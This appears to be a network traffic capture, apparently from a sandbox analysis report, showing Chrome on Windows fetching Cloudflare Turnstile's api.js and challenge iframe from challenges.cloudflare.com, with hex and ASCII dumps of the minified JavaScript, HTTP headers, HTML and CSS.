2025-01-09 04:14:08 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 57 74 28 65 2c 72 2c 6e 2c 6f 2c 63 2c 75 2c 67 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 75 5d 28 67 29 2c 6c 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 6e 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 72 28 6c 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 6c 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 75 3d 65 2e 61 70 70 6c 79 28 72 2c 6e 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Wt(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);funct
2025-01-09 04:14:08 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 41 72 28 65 2c 72 29 7b 76 61 72 20 6e 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 72 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 6e 2e 70 75 73 68 2e 61 70 70 6c 79 28 6e 2c 6f 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 6e 74 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 Data Ascii: e}function Ar(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);r&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),n.push.apply(n,o)}return n}function nt(e,r){return r=r!=nu
2025-01-09 04:14:08 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 6e 29 29 72 65 74 75 72 6e 20 61 74 28 65 2c 72 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 41 65 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 42 74 28 65 29 7c 7c 6a 74 28 65 2c 72 29 7c 7c 7a 74 28 65 2c 72 29 7c 7c 71 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 55 65 28 65 2c 72 29 7b 76 61 72 20 6e 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 75 5b 30 Data Ascii: ray$/.test(n))return at(e,r)}}function Ae(e,r){return Bt(e)\|\|jt(e,r)\|\|zt(e,r)\|\|qt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Ue(e,r){var n={label:0,sent:function(){if(u[0
2025-01-09 04:14:08 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 58 74 3d 33 30 30 30 32 30 3b 76 61 72 20 44 65 3d 33 30 30 30 33 30 3b 76 61 72 20 56 65 3d 33 30 30 30 33 31 3b 76 61 72 20 6a 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Xt=300020;var De=300030;var Ve=300031;var j;(fu
2025-01-09 04:14:08 UTC	1369	IN	Data Raw: 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 4a 7c 7c 28 4a 3d 7b 7d 29 29 3b 76 61 72 20 69 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 69 65 7c 7c 28 69 65 3d 7b 7d 29 29 3b 76 61 72 20 58 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 4c 57 41 59 53 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 4e 54 45 52 41 43 54 49 4f 4e 5f 4f 4e 4c 59 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 58 7c 7c 28 58 3d 7b 7d 29 29 3b 76 61 72 20 70 65 3b 28 66 75 Data Ascii: ="never",e.MANUAL="manual",e.AUTO="auto"})(J\|\|(J={}));var ie;(function(e){e.NEVER="never",e.MANUAL="manual",e.AUTO="auto"})(ie\|\|(ie={}));var X;(function(e){e.ALWAYS="always",e.EXECUTE="execute",e.INTERACTION_ONLY="interaction-only"})(X\|\|(X={}));var pe;(fu
2025-01-09 04:14:08 UTC	1369	IN	Data Raw: 65 63 75 74 65 22 5d 2c 65 29 7d 76 61 72 20 4b 74 3d 33 30 30 2c 24 74 3d 31 30 3b 66 75 6e 63 74 69 6f 6e 20 79 74 28 65 29 7b 76 61 72 20 72 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 3b 69 66 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 26 26 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 21 3d 3d 22 64 65 66 61 75 6c 74 22 26 26 72 2e 73 65 74 28 22 6f 66 66 6c 61 62 65 6c 22 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 29 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 63 6c 65 61 Data Ascii: ecute"],e)}var Kt=300,$t=10;function yt(e){var r=new URLSearchParams;if(e.params._debugSitekeyOverrides&&(e.params._debugSitekeyOverrides.offlabel!=="default"&&r.set("offlabel",e.params._debugSitekeyOverrides.offlabel),e.params._debugSitekeyOverrides.clea
2025-01-09 04:14:08 UTC	1369	IN	Data Raw: 69 6e 6e 65 72 57 69 64 74 68 3c 34 30 30 2c 63 3d 65 2e 73 74 61 74 65 3d 3d 3d 49 65 2e 46 41 49 4c 55 52 45 5f 46 45 45 44 42 41 43 4b 7c 7c 65 2e 73 74 61 74 65 3d 3d 3d 49 65 2e 46 41 49 4c 55 52 45 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 2c 75 2c 67 3d 4d 28 4e 72 2c 28 75 3d 28 72 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 72 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 72 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 21 3d 3d 6e 75 6c 6c 26 26 75 21 3d 3d 76 6f 69 64 20 30 3f 75 3a 22 6e 6f 6e 65 78 69 73 74 65 6e 74 22 29 2c 68 2c 6c 3d 4d 28 6b 72 2c 28 68 3d 28 6e 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 6e 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 Data Ascii: innerWidth<400,c=e.state===Ie.FAILURE_FEEDBACK\|\|e.state===Ie.FAILURE_HAVING_TROUBLES,u,g=M(Nr,(u=(r=e.displayLanguage)===null\|\|r===void 0?void 0:r.toLowerCase())!==null&&u!==void 0?u:"nonexistent"),h,l=M(kr,(h=(n=e.displayLanguage)===null\|\|n===void 0?void
2025-01-09 04:14:08 UTC	1369	IN	Data Raw: 75 72 6e 21 31 7d 7d 66 75 6e 63 74 69 6f 6e 20 53 65 28 65 2c 72 2c 6e 29 7b 72 65 74 75 72 6e 20 6a 65 28 29 3f 53 65 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 3a 53 65 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 75 2c 67 29 7b 76 61 72 20 68 3d 5b 6e 75 6c 6c 5d 3b 68 2e 70 75 73 68 2e 61 70 70 6c 79 28 68 2c 75 29 3b 76 61 72 20 6c 3d 46 75 6e 63 74 69 6f 6e 2e 62 69 6e 64 2e 61 70 70 6c 79 28 63 2c 68 29 2c 70 3d 6e 65 77 20 6c 3b 72 65 74 75 72 6e 20 67 26 26 5a 28 70 2c 67 2e 70 72 6f 74 6f 74 79 70 65 29 2c 70 7d 2c 53 65 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 61 72 67 75 6d 65 6e 74 73 29 7d 66 75 6e 63 74 69 6f 6e 20 63 65 28 65 29 7b 72 65 74 75 72 6e 20 63 65 3d 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 Data Ascii: urn!1}}function Se(e,r,n){return je()?Se=Reflect.construct:Se=function(c,u,g){var h=[null];h.push.apply(h,u);var l=Function.bind.apply(c,h),p=new l;return g&&Z(p,g.prototype),p},Se.apply(null,arguments)}function ce(e){return ce=Object.setPrototypeOf?Objec
2025-01-09 04:14:08 UTC	1369	IN	Data Raw: 22 29 3b 74 68 72 6f 77 20 6e 65 77 20 73 72 28 6e 2c 72 29 7d 66 75 6e 63 74 69 6f 6e 20 62 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 29 29 7d 66 75 6e 63 74 69 6f 6e 20 7a 65 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 73 74 61 72 74 73 57 69 74 68 28 48 65 29 3f 65 2e 73 75 62 73 74 72 69 6e 67 28 48 65 2e 6c 65 6e 67 74 68 29 3a 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 51 28 65 29 7b 72 65 74 75 72 6e 22 22 2e 63 6f 6e 63 61 74 28 48 65 29 2e 63 6f 6e 63 61 74 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 29 7b 76 61 72 20 65 3d 2f 5c 2f 74 75 72 6e 73 74 69 6c 65 5c 2f 76 30 28 5c 2f 2e 2a 29 3f 5c 2f 61 70 69 5c 2e 6a 73 2f 2c 72 3d 64 6f 63 Data Ascii: ");throw new sr(n,r)}function b(e){console.warn("[Cloudflare Turnstile] ".concat(e))}function ze(e){return e.startsWith(He)?e.substring(He.length):null}function Q(e){return"".concat(He).concat(e)}function Rt(){var e=/\/turnstile\/v0(\/.*)?\/api\.js/,r=doc
2025-01-09 04:14:08 UTC	1369	IN	Data Raw: 72 6d 4f 72 69 67 69 6e 3d 22 63 65 6e 74 65 72 20 63 65 6e 74 65 72 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 58 3d 22 68 69 64 64 65 6e 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 59 3d 22 61 75 74 6f 22 2c 6c 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 3d 22 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 34 29 22 3b 76 61 72 20 70 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 70 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 74 61 62 6c 65 2d 63 65 6c 6c 22 2c 70 2e 73 74 79 6c 65 2e 76 65 72 74 69 63 61 6c 41 6c 69 67 6e 3d 22 6d 69 64 64 6c 65 22 2c 70 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 76 77 22 2c 70 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 31 30 30 76 68 22 3b Data Ascii: rmOrigin="center center",l.style.overflowX="hidden",l.style.overflowY="auto",l.style.background="rgba(0,0,0,0.4)";var p=document.createElement("div");p.style.display="table-cell",p.style.verticalAlign="middle",p.style.width="100vw",p.style.height="100vh";

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.17	49725	104.18.95.41	443	4300	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 04:14:09 UTC	761	OUT	GET /cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/awf7c/0x4AAAAAAADnPIDROrmt1Wwj/light/fbE/normal/auto/ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 04:14:09 UTC	1362	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 04:14:09 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 26637 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() content-security-policy: frame-src https://challenges.cloudflare.com/; base-uri 'self' cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: cross-origin origin-agent-cluster: ?1 accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA referrer-policy: same-origin document-policy: js-profiling
2025-01-09 04:14:09 UTC	82	IN	Data Raw: 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 66 66 31 39 39 34 62 35 38 65 34 34 33 36 39 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: Server: cloudflareCF-RAY: 8ff1994b58e44369-EWRalt-svc: h3=":443"; ma=86400
2025-01-09 04:14:09 UTC	1294	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0a Data Ascii: <!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
2025-01-09 04:14:09 UTC	1369	IN	Data Raw: 64 64 69 6e 67 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 6d 61 69 6e 2d 77 72 61 70 70 65 72 2c 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 73 79 73 74 65 6d 2d 75 69 2c 62 6c 69 6e 6b 6d 61 63 73 79 73 74 65 6d 66 6f 6e 74 2c 53 65 67 6f 65 20 55 49 2c 72 6f 62 6f 74 6f 2c 6f 78 79 67 65 6e 2c 75 62 75 6e 74 75 2c 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c 69 61 73 65 Data Ascii: dding:0;width:100%}.main-wrapper,body{background-color:#fff;color:#232323;font-family:-apple-system,system-ui,blinkmacsystemfont,Segoe UI,roboto,oxygen,ubuntu,Helvetica Neue,arial,sans-serif;font-size:14px;font-weight:400;-webkit-font-smoothing:antialiase
2025-01-09 04:14:09 UTC	1369	IN	Data Raw: 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 61 6e 69 6d 61 74 69 6f 6e 3a 66 69 72 65 77 6f 72 6b 20 2e 33 73 20 65 61 73 65 2d 6f 75 74 20 31 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 3b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 33 32 20 33 32 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 2d 38 7d 23 73 75 63 63 65 73 73 2d 74 65 78 74 7b 61 6e 69 6d 61 74 69 6f 6e 3a 66 61 64 65 2d 69 6e 20 31 73 20 66 6f 72 77 61 72 64 73 3b 6f 70 61 63 69 74 79 3a 30 7d 2e 73 75 63 63 65 73 73 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 66 69 6c 6c 3a 23 Data Ascii: stroke:#038127;animation:firework .3s ease-out 1;stroke-width:1;stroke-dasharray:32 32;stroke-dashoffset:-8}#success-text{animation:fade-in 1s forwards;opacity:0}.success-circle{stroke-dashoffset:0;stroke-width:2;stroke-miterlimit:10;stroke:#038127;fill:#
2025-01-09 04:14:09 UTC	1369	IN	Data Raw: 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 68 6f 76 65 72 2c 2e 74 68 65 6d 65 2d 64 61 72 Data Ascii: e-dark #challenge-overlay a,.theme-dark #challenge-overlay a:link,.theme-dark #challenge-overlay a:visited{color:#bbb}.theme-dark #challenge-error-text a:active,.theme-dark #challenge-error-text a:focus,.theme-dark #challenge-error-text a:hover,.theme-dar
2025-01-09 04:14:09 UTC	1369	IN	Data Raw: 32 30 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 6c 6f 67 6f 2d 74 65 78 74 7b 66 69 6c 6c 3a 23 66 66 66 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 Data Ascii: 20}.theme-dark .logo-text{fill:#fff}.theme-dark #fr-helper-loop-link,.theme-dark #fr-helper-loop-link:link,.theme-dark #fr-helper-loop-link:visited{color:#bbb}.theme-dark #fr-helper-loop-link:active,.theme-dark #fr-helper-loop-link:focus,.theme-dark #fr-h
2025-01-09 04:14:09 UTC	1369	IN	Data Raw: 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 31 36 36 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 64 65 31 33 30 33 3b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 61 6e 69 6d 61 74 69 6f 6e 3a 73 74 72 6f 6b 65 20 2e 36 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 66 61 69 6c 75 72 65 2d 63 72 6f 73 73 7b 66 69 6c 6c 3a 23 66 66 66 3b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 62 6f 74 74 6f 6d 20 63 65 6e 74 65 72 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 2d 69 6e 2e 61 6e 69 6d 61 74 69 6f 6e 7b 30 25 7b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 73 74 72 6f 6b 65 3a 23 64 65 31 Data Ascii: ;stroke-dashoffset:166;stroke-width:2;stroke-miterlimit:10;stroke:#de1303;fill:#de1303;animation:stroke .6s cubic-bezier(.65,0,.45,1) forwards}.failure-cross{fill:#fff;transform-origin:bottom center}@keyframes fade-in.animation{0%{fill:#de1303;stroke:#de1
2025-01-09 04:14:09 UTC	1369	IN	Data Raw: 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 66 6c 6f 77 3a 63 6f 6c 75 6d 6e 20 6e 6f 77 72 61 70 3b 67 61 70 3a 30 3b 68 65 69 67 68 74 3a 31 34 30 70 78 3b 70 61 64 64 69 6e 67 3a 31 32 70 78 20 30 3b 70 6c 61 63 65 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 6c 69 6e 6b 2d 73 70 61 63 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 70 78 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 33 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 6f 6e 74 61 69 6e 65 72 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d Data Ascii: ay:flex;flex-flow:column nowrap;gap:0;height:140px;padding:12px 0;place-content:space-between}.size-compact .link-spacer{margin-left:3px;margin-right:3px}.size-compact .cb-c{margin:0 12px;text-align:left}.size-compact .cb-container{margin:0 12px}.size-com
